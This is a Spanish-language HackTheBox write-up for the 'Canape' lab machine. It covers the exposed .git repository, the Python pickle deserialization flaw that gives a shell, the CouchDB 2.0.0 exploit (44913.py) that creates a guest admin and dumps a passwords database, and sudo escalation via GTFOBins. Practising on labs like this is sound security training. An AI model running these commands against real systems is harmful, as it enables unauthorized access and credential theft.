Canape — HackTheBox
Canape es una máquina Ubuntu. Descubriremos un directorio .git que nos permitirá buscar en commits anteriores y analizar el código de la web. Veremos que utiliza un módulo de python llamado Pickle que se utiliza para serializar objetos pero que contiene una vulnerabilidad que lleva a RCE. Podremos escalar privilegios explotando una base de datos llamada couchdb. Finalmente escalaremos a root gracias a Gtfobins.
Hacemos un escaneo con furious:
Luego uno más completo con nmap:
Visitamos la web:
Si analizamos con Burp Suite el apartado de Submit Quote vemos las variables character y quote:
Hacemos una búsqueda de directorios:
(root💀kali)-[~/htb/Canape]
└─# gobuster dir -u http://10.10.10.70 -w /usr/share/SecLists/Discovery/Web-Content/raft-small-words.txt -b 403,404,200Encontramos un repositorio .git con ficheros:
El fichero config muestra lo siguiente:
Clonamos el repositorio:
(root💀kali)-[~/htb/Canape]
└─# git clone http://git.canape.htb/simpsons.gitHacemos un git log:
(root💀kali)-[~/htb/Canape/simpsons]
└─# git logVemos las diferencias en el commit que habla sobre una vulnerabilidad:
(root💀kali)-[~/htb/Canape/simpsons]
└─# git diff c8a74a098a60aaea1af98945bd707a7eab0ff4b0Vemos que utiliza el módulo Pickle que se utiliza para serializar objetos. Pero contiene una vulnerabilidad que lleva a RCE.
Get shadowdancer9’s stories in your inbox
Join Medium for free to get updates from this writer.
Preparamos el payload:
Y obtenemos una shell como www-data
Linpeas nos muestra que hay una base de datos llamada couchdb release 2.0.0
Vemos que escucha en el puerto 5984:
www-data@canape:/$ curl 127.0.0.1:5984Siguiendo la documentación de la API listamos las bases de datos:
www-data@canape:/$ curl 127.0.0.1:5984/_all_dbsListamos la base de datos passwords:
www-data@canape:/$ curl 127.0.0.1:5984/passwordsBuscamos exploits:
Ejecutamos el script en python:
www-data@canape:/dev/shm$ python 44913.py --priv -c "id" http://localhost:5984Nos ha creado el usuario guest con password guest
Ahora ya podemos dumpear los passwords:
www-data@canape:/dev/shm$ curl --user guest:guest 127.0.0.1:5984/passwordsY con el password encontrado escalamos a homer:
Hacemos un sudo -l
Es la típica escalada de privilegios de Gtfobins:








